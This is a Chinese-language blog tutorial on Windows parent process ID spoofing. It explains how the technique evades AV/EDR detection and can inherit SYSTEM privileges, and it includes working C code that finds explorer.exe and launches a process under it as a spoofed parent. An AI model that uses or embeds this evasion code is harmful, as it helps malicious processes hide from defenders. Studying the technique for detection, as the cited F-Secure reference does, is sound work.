0%

父进程欺骗

父进程欺骗 即创建一个进程,然后指定其他进程作为该新建进程的父进程 父进程(PPID)欺骗方法可以绕过 AV/EDR检测,使其认为是 lsass.exe 这样的合法进程在进行活动。它通过欺骗进程的 PID 以匹配其父进程的 PID 来做到这一点。这种方法可能带来的另一个好处是,如果父进程以 SYSTEM 权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的 SYSTEM 权限。

1
2
3
4
5
6
7
进程:**在 `Windows` 中,应用程序由一个或多个进程组成。简单来说,当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如`cmd.exe`),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程。该整数称为`PID`。

PID:代表进程标识符 (`PID`),它是正在运行的进程的数字表示。`Windows` 中通过 `GetCurrentProcessID()` 函数返回指定进程的 `PID`。

父进程:父进程是可以派生多个子进程的进程。例如,命令`explorer.exe /e,/root,"C:WINDOWSSystem32cmd.exe"`将派生`cmd.exe`作为父进程`explorer.exe`的子进程。在代码中,父进程可以使用`fork()`系统调用来派生子进程。

PPID:代表父进程标识符(`PPID`),它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。

使用CreateProcessA进行欺骗

CreateProcessA函数允许用户创建新进程,默认情况下,会通过其继承的父进程完成创建。该函数有一个名为“lpStartupInfo”的参数,该参数允许使用者自定义要使用的父进程。 lpStartupInfo参数指向一个名为“STARTUPINFOEX”的结构体,该结构包含变量“lpAttributeList”,这个变量在初始化时可以调用“UpdateProcThreadAttribute”回调函数进行属性添加,可以通过“PROC_THREAD_ATTRIBUTE_PARENT_PROCESS”属性从而对父进程进行设置。

如果在dwCreationFlags中EXTENDED_STARTUPINFO_PRESENT标准,那么lpStartupInfo传入的就会是一个名为STARTUPINFOEXA的结构体,而这个结构体能指定父进程的相关信息,最终传入的PPID会被写入到新进程_eprocess结构体的InheritedFromUniqueProcessId位置
寻找explorer.exe进程的ID
1
2
3
4
5
6
7
8
9
10
11
12
13
14
DWORD FindExplorerPID() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);

if (Process32First(snapshot, &process)) {
do {
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int main()
{
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, FindExplorerPID());

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

//添加父进程属性
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL)) {
printf("UpdateProcThreadAttribute Failed!\n");
return 1;
}

/*如果在dwCreationFlags中EXTENDED_STARTUPINFO_PRESENT标准,那么lpStartupInfo传入的就会是一个名为STARTUPINFOEXA的结构体,
而这个结构体能指定父进程的相关信息,
最终传入的PPID会被写入到新进程_eprocess结构体的InheritedFromUniqueProcessId位置*/
//CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
//CreateProcessA("notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

//EXTENDED_STARTUPINFO_PRESENT 继承父进程信息
CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL,TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&si, NULL);
system("pause");
return 0;

}

References

https://blog.f-secure.com/detecting-parent-pid-spoofing/ https://xz.aliyun.com/t/8387 https://idiotc4t.com/defense-evasion/fake-ppid


欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------